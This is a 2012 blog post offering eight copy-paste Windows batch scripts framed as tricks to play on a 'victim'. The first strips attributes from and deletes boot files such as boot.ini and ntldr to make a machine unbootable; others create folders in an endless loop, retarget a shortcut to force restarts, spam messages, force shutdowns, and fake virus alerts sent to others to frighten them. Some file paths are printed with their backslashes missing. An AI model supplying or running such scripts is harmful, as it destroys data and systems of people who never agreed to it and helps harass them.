Some more batch file tricks

Posted by Kill3r On Friday, 3 August 2012 0 comments
Try these with Caution

1. Shut Down a Computer Forever (Windows XP)

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini

Save it as a abc.bat file.

This shutdowns the persons computer. It shuts it off once and deletes the files needed to reboot and restart.


2. Make over 1,000 folders in few seconds

Open notepad and type :

@echo off
:top
md %random%
goto top

And save as anything.bat
@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creates folders with random names.
goto top – return to label :top, and initiates an infinite loop.


3. Restarting The Computer

When you get a chance, Right-click your victim’s icon to Internet Explorer or some other commonly used program. Edit the properties and change the target to: “%windir%system32shutdown.exe -r -t 00″ Now, every time your buddy tries to run IE, his machine will mysteriously restart.


4. Show Infinite Diretories in Command Prompt
Fullscreen+capture+8282011+85058+PM.bmp2
Type this in notepad and save as virus.bat

@echo off
title VIRUS
color 06

echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTI-VIRUS….
pause
echo DO YOU WANT TO DELETE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo ACTIVATING VIRUS…..
echo VIRUS ACTIVATED!!!!
pause
:1
dir/s
goto 1

Send the saved file to your victim and ask them to run. You can try this yourself , it will not harm your computer 

5.The Famous Matrix Effect
Fullscreen+capture+8282011+85126+PM.bmp2  
Type this in Notepad:

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

And save as anything.bat

6. Repeat messages to annoy the user

@ECHO off
:Begin
msg * Hi
msg * What are You Doing?
msg * Having Fun!
msg * Lets have it together!
msg * Because you been hacked
GOTO BEGIN

And save as anything.bat
  
7. Shut Down The Computer after Displaying a Message
 

@echo off
msg * Get Some Rest.
shutdown -c “Errorrrrr . Byeeeeee” -s

And save as anything.bat 


8. Just Scare Your Friend , No Harm
Copy the below code in notepad and save as anything.bat

Code:

@echo off
echo OMFG YOU GOT A VIRUS.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo It will now begin to delete your files.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo Do you want to abort the deletion of your files?
pause
echo Wow you really fell for that. Pressing a key made the virus delete your account.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo deleting…….
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo YOU’VE BEEN FOOLED. THERE IS NO VIRUS. YOU’RE JUST A N00B.
pause 

 

0 comments:

Post a Comment